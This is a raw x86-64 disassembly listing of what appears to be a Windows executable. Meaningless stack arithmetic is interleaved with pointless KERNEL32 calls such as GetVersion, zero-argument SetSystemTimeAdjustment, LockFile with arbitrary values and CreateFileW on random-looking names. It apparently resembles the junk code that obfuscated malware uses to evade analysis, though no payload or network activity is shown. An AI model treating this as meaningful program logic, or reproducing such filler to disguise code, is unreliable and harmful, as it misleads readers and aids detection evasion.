mov rax, qword [rsp + 0x143d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x733]
imul eax, ecx
mov byte [rsp + 0x510], al
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a0c], eax
mov rax, qword [0x140369f10]
mov eax, dword [rax]
mov dword [0x140369f68], eax
mov rax, qword [rsp + 0x13c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bd8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ff8], eax
mov eax, dword [rsp + 0x7e50]
mov ecx, dword [rsp + 0x9cfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c6c], eax
lea rax, [0x140369bc4]
mov qword [rsp + 0x14638], rax
movzx eax, word [rsp + 0x2c40]
mov rcx, qword [rsp + 0x13058]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e00]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14640], rax
mov rax, qword [rsp + 0x13668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13fd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75e], al
mov eax, dword [0x140362470]
mov dword [rsp + 0x9ed8], eax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [rsp + 0x9888]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d4c], eax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x14648], rax
lea rax, [rsp + 0x9e50]
mov qword [0x140369f70], rax
mov rax, qword [rsp + 0x13cd0]
mov ecx, dword [rsp + 0x9a40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bb0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
mov dword [rsp + 0x20], 0x3512
mov r9d, 0x25f8
mov r8d, 0x934
mov edx, 0x30
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9c48], eax
movsx eax, word [rsp + 0x2c70]
mov rcx, qword [rsp + 0x14628]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c5c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rax, [0x140363efc]
mov qword [rsp + 0x14650], rax
movzx eax, word [rsp + 0x2c28]
mov rcx, qword [rsp + 0x13248]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2be4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9edc], eax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x13980]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x13ee0]
mov ecx, dword [rsp + 0x9a94]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9a00], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [rsp + 0x9e9c]
mov rcx, qword [rsp + 0x141d8]
mov qword [rsp + 0x14658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14658]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x52fc], eax
lea rax, [rsp + 0x5cb]
mov qword [rsp + 0x14660], rax
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [rsp + 0x2b78]
sar eax, cl
mov rcx, qword [0x140369c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9688], eax
lea rax, [rsp + 0x8340]
mov qword [rsp + 0x14668], rax
mov rax, qword [rsp + 0x13e68]
mov ecx, dword [rsp + 0x9ce4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a78], eax
mov eax, dword [rsp + 0x9d1c]
mov dword [rsp + 0x9ee0], eax
mov rax, qword [rsp + 0x144c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c3c]
and eax, ecx
mov word [rsp + 0x1bd4], ax
movzx eax, byte [rsp + 0x72e]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fe0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x7534]
mov qword [rsp + 0x14670], rax
mov rax, qword [rsp + 0x13ca8]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b30], eax
movsx eax, word [rsp + 0x2c78]
movsx ecx, word [rsp + 0x12cc]
add eax, ecx
mov word [0x1403624c8], ax
mov rax, qword [rsp + 0x12ea0]
movzx eax, byte [rax]
mov byte [rsp + 0x76e], al
lea rdx, [rsp + 0x42f08]
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b34], eax
movzx eax, word [rsp + 0x2bcc]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b90], ax
mov rcx, qword [rsp + 0x13ae8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x844
mov r9d, 0x343d
mov r8d, 0x3f9a
mov edx, 0x1b33
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9de8], eax
movzx eax, byte [rsp + 0x74d]
movzx ecx, byte [rsp + 0x23a]
sub eax, ecx
mov rcx, qword [rsp + 0x13a88]
mov byte [rcx], al
lea rax, [rsp + 0x9db4]
mov qword [rsp + 0x14678], rax
mov eax, dword [rsp + 0x9d48]
mov ecx, dword [rsp + 0x9c54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138a0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e74], eax
lea rax, [rsp + 0x84ac]
mov qword [rsp + 0x14680], rax
mov eax, dword [rsp + 0x6218]
mov ecx, dword [rsp + 0x78f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ad4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.B8hOqnjXyVmIbw0xULcXETGaKo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14688], rax
mov eax, dword [rsp + 0x9968]
movzx ecx, al
mov eax, dword [rsp + 0x9c34]
sar eax, cl
mov dword [rsp + 0x9dbc], eax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0x14690], rax
mov rax, qword [rsp + 0x13218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14510]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140363f0d], al
mov rax, qword [rsp + 0x13d68]
mov ecx, dword [rsp + 0x7254]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14270]
mov rcx, qword [rsp + 0x130e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x98e4], eax
mov eax, dword [0x140362498]
mov ecx, dword [rsp + 0x9dc8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e20]
mov dword [rcx], eax
lea rax, [rsp + 0x8ee8]
mov qword [rsp + 0x14698], rax
movzx eax, word [rsp + 0x2c28]
movzx ecx, word [rsp + 0x2bf8]
sub eax, ecx
mov rcx, qword [rsp + 0x13c60]
mov word [rcx], ax
movzx eax, byte [0x140363edf]
mov rcx, qword [rsp + 0x143d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x764], al
movzx eax, byte [rsp + 0x184]
mov byte [rsp + 0x76f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, word [rsp + 0x1304]
mov rcx, qword [rsp + 0x14628]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x268c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2600
mov r9d, 0x3133
mov r8d, 0x7bf0a7b2
mov edx, 2
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9ca8], eax
lea rax, [0x140369b78]
mov qword [0x140369f78], rax
lea rax, [rsp + 0x9b24]
mov qword [rsp + 0x146a0], rax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13218]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13340]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c7c]
imul eax, eax, 0x689
mov rcx, qword [rsp + 0x145a8]
mov word [rcx], ax
mov dword [rsp + 0x4bc70], 0x11c
lea rax, [rsp + 0x8044]
mov qword [rsp + 0x146a8], rax
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a34]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ab0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
mov rcx, qword [rsp + 0x14318]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c48], eax
lea rax, [rsp + 0x57e8]
mov qword [rsp + 0x146b0], rax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x13a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a6c], eax
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13568]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x752]
movzx ecx, byte [rsp + 0x755]
and eax, ecx
mov rcx, qword [0x140369ec0]
mov byte [rcx], al
mov eax, dword [rsp + 0x5284]
mov ecx, dword [rsp + 0x87e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dcc], eax
mov eax, dword [rsp + 0x9e6c]
movzx ecx, al
mov eax, dword [rsp + 0x8f50]
shl eax, cl
mov dword [rsp + 0x9a30], eax
mov rax, qword [rsp + 0x14070]
mov eax, dword [rax]
mov dword [rsp + 0x9ee4], eax
mov rax, qword [rsp + 0x144e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ccc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ee8], eax
mov rax, qword [rsp + 0x146b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13570]
mov qword [rsp + 0x146b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x146b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7c50], eax
mov rax, qword [rsp + 0x13900]
movzx eax, byte [rax]
mov byte [rsp + 0x770], al
mov rax, qword [rsp + 0x130f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14508]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b74], ax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x146c0], rax
mov rax, qword [rsp + 0x13a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb4]
imul eax, ecx
mov word [0x140369b74], ax
mov eax, dword [rsp + 0x9b6c]
mov ecx, dword [rsp + 0x9e3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ff8]
mov dword [rcx], eax
lea rax, [rsp + 0x9b8c]
mov qword [rsp + 0x146c8], rax
mov rax, qword [rsp + 0x131e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13810]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c5c], ax
mov rax, qword [rsp + 0x14048]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x735], al
lea rdx, [rsp + 0x42cd8]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a60], eax
lea rax, [rsp + 0x9bb4]
mov qword [rsp + 0x146d0], rax
mov rax, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x14290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8b20], eax
lea rax, [rsp + 0x7a5c]
mov qword [rsp + 0x146d8], rax
mov rax, qword [rsp + 0x14338]
mov rcx, qword [0x140369d80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14408]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov dword [rsp + 0x4bd90], 0x11c
mov rcx, qword [rsp + 0x14490]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a7c], eax
mov rax, qword [rsp + 0x13a10]
movzx eax, byte [rax]
mov byte [0x140363f5e], al
movzx eax, word [rsp + 0x20d8]
mov rcx, qword [rsp + 0x13af8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
mov rax, qword [rsp + 0x137d8]
mov rcx, qword [0x140369c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x98f0], eax
mov rax, qword [rsp + 0x13b38]
mov rcx, qword [rsp + 0x13aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x142f0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x12ed0]
movzx eax, byte [rax]
mov byte [rsp + 0x771], al
movsx eax, word [rsp + 0x2008]
movsx ecx, word [0x1403624a4]
add eax, ecx
mov rcx, qword [rsp + 0x13658]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x136d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13568]
mov word [rcx], ax
lea rax, [rsp + 0x266]
mov qword [rsp + 0x146e0], rax
mov eax, dword [rsp + 0x9bdc]
movzx ecx, al
mov eax, dword [0x140362474]
shr eax, cl
mov rcx, qword [rsp + 0x14388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b38]
xor ecx, eax
mov eax, ecx
mov dword [0x140369bc0], eax
lea rax, [rsp + 0x9aa0]
mov qword [rsp + 0x146e8], rax
mov eax, dword [rsp + 0x9998]
movzx ecx, al
mov eax, dword [rsp + 0x7074]
shl eax, cl
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x14118]
mov rcx, qword [rsp + 0x12ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5610], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4b250]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9eec], eax
lea rax, [rsp + 0x266]
mov qword [rsp + 0x146f0], rax
mov rax, qword [rsp + 0x13610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x876c], eax
mov eax, dword [rsp + 0x8e2c]
mov ecx, dword [rsp + 0x645c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ba8], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0x9ef0], eax
lea rax, [rsp + 0x99b4]
mov qword [0x140369f80], rax
movzx eax, word [rsp + 0x1f24]
mov rcx, qword [0x140369b80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x137b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x733]
movzx ecx, byte [rsp + 0x3d2]
add eax, ecx
mov rcx, qword [rsp + 0x13fd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13098]
movzx eax, word [rax]
mov word [rsp + 0x2c94], ax
movsx eax, byte [rsp + 0x6fc]
mov rcx, qword [0x140369ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x4a950]
add rcx, rax
mov rax, rcx
mov dword [rax], 0x859bdce
mov rax, qword [rsp + 0x13b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7770]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dd0], eax
mov rax, qword [rsp + 0x13c18]
mov rcx, qword [rsp + 0x13a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
mov rax, qword [0x140369ee0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13950]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x702], al
lea rax, [rsp + 0x2740]
mov qword [rsp + 0x146f8], rax
mov rax, qword [rsp + 0x13070]
mov eax, dword [rax]
mov dword [0x140369f88], eax
mov edx, 0x2a
mov rcx, qword [rsp + 0x13bf0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e90], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144a0]
mov qword [rsp + 0x14700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14700]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x63d4], eax
mov eax, dword [rsp + 0x81e0]
mov dword [rsp + 0x9ef4], eax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9abc]
shr eax, cl
mov rcx, qword [rsp + 0x13d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x140c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x708], al
lea rax, [rsp + 0x29ac]
mov qword [rsp + 0x14708], rax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ef8], eax
mov rax, qword [rsp + 0x141d8]
mov ecx, dword [rsp + 0x9d2c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13318]
mov dword [rcx], eax
lea rax, [rsp + 0x9c94]
mov qword [rsp + 0x14710], rax
mov eax, dword [rsp + 0x9cd8]
mov ecx, dword [rsp + 0x9688]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x645c], eax
mov rax, qword [rsp + 0x13d40]
mov ecx, dword [rsp + 0x9df8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140369b90]
mov dword [rcx], eax
lea rax, [rsp + 0x9d04]
mov qword [rsp + 0x14718], rax
mov rax, qword [rsp + 0x13f38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13098]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13630]
mov word [rcx], ax
mov rcx, qword [rsp + 0x13ff0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ec4], eax
movsx eax, byte [rsp + 0x2d1]
movsx ecx, byte [rsp + 0x71b]
and eax, ecx
mov byte [rsp + 0x74b], al
lea rax, [rsp + 0x76d]
mov qword [rsp + 0x14720], rax
movzx eax, word [rsp + 0x2c24]
mov rcx, qword [rsp + 0x13020]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0x13608]
mov ecx, dword [rsp + 0x6f2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a24], eax
mov rax, qword [rsp + 0x13a70]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bf4]
movzx ecx, word [rsp + 0x2c6c]
sub eax, ecx
mov rcx, qword [rsp + 0x13e60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72a]
mov rcx, qword [rsp + 0x12e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403525c2], al
mov eax, dword [rsp + 0x9d48]
mov dword [rsp + 0x9efc], eax
mov rax, qword [rsp + 0x143c8]
mov ecx, dword [rsp + 0x567c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x526c], eax
mov eax, dword [rsp + 0x9cd0]
mov ecx, dword [0x140362470]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x702c], eax
mov rax, qword [rsp + 0x143e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8e20]
shl eax, cl
mov rcx, qword [rsp + 0x14580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
sar eax, cl
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x1bd4]
mov qword [rsp + 0x14728], rax
mov rax, qword [rsp + 0x142c8]
mov rcx, qword [rsp + 0x13b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e88], eax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov dword [rsp + 0x9f00], eax
mov rax, qword [rsp + 0x12e98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x268c]
and eax, ecx
mov word [0x140362454], ax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13bb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x145f8]
mov byte [rcx], al
movzx eax, byte [0x140363efd]
movzx ecx, byte [rsp + 0x732]
imul eax, ecx
mov byte [rsp + 0x735], al
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x14730], rax
mov rax, qword [rsp + 0x13070]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9ab0], eax
lea rax, [0x140369f88]
mov qword [rsp + 0x14738], rax
mov eax, dword [rsp + 0x9db8]
mov ecx, dword [rsp + 0x5498]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14390]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c90]
mov dword [rsp + 0x9f04], eax
mov rax, qword [0x140369e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x602c], eax
movzx eax, word [rsp + 0x1310]
movzx ecx, word [rsp + 0x18cc]
sub eax, ecx
mov rcx, qword [rsp + 0x13370]
mov word [rcx], ax
lea rax, [rsp + 0x746]
mov qword [0x140369f90], rax
lea rax, [rsp + 0x9d28]
mov qword [rsp + 0x14740], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2291
mov r9d, 0x2337
mov r8d, 0x62c6db2d
mov edx, 2
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9f08], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [0x140369c78]
mov rcx, qword [rsp + 0x14038]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13068]
mov dword [rcx], eax
lea rax, [rsp + 0x9dd0]
mov qword [rsp + 0x14748], rax
mov rax, qword [rsp + 0x138c0]
mov rcx, qword [0x140369d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1c8]
movzx ecx, byte [rsp + 0x1f3]
add eax, ecx
mov rcx, qword [rsp + 0x145e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x144c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0x13958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13dc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
lea rax, [rsp + 0x759]
mov qword [rsp + 0x14750], rax
mov rax, qword [rsp + 0x130b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13620]
mov qword [rsp + 0x14758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14758]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140369e18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x94d0]
mov rcx, qword [rsp + 0x13da8]
mov qword [rsp + 0x14760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14760]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x143c0]
mov word [rcx], ax
lea rax, [rsp + 0x763]
mov qword [rsp + 0x14768], rax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [0x140362470]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x75c4]
mov dword [rsp + 0x9f0c], eax
lea rdx, [rsp + 0x42db8]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ef8], eax
mov rax, qword [rsp + 0x14188]
mov rcx, qword [0x140369ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b44], eax
lea rax, [rsp + 0x6278]
mov qword [rsp + 0x14770], rax
movzx eax, byte [rsp + 0xa1]
movzx ecx, byte [rsp + 0x75a]
and eax, ecx
mov byte [rsp + 0x755], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.cMHpGcPcbFl_nBTXNJnmenk3u
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14778], rax
movzx eax, word [rsp + 0x2c60]
mov rcx, qword [rsp + 0x14728]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362458], ax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a94], eax
lea rax, [rsp + 0x9c1c]
mov qword [rsp + 0x14780], rax
lea rdx, [rsp + 0x42c68]
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e94], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
mov eax, dword [rsp + 0x9c74]
mov ecx, dword [rsp + 0x9ea0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14108]
mov dword [rcx], eax
lea rax, [rsp + 0x9e50]
mov qword [rsp + 0x14788], rax
mov rax, qword [rsp + 0x14118]
mov rcx, qword [rsp + 0x14220]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ab4], eax
mov rax, qword [rsp + 0x14468]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13788]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14750]
mov byte [rcx], al
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2858]
sub eax, ecx
mov word [rsp + 0x18c4], ax
mov rax, qword [rsp + 0x139b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13898]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x133b8]
mov word [rcx], ax
lea rax, [rsp + 0x733]
mov qword [0x140369f98], rax
lea rax, [rsp + 0x9c54]
mov qword [rsp + 0x14790], rax
mov rax, qword [rsp + 0x14498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x134f8]
mov qword [rsp + 0x14798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14798]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9d8c], eax
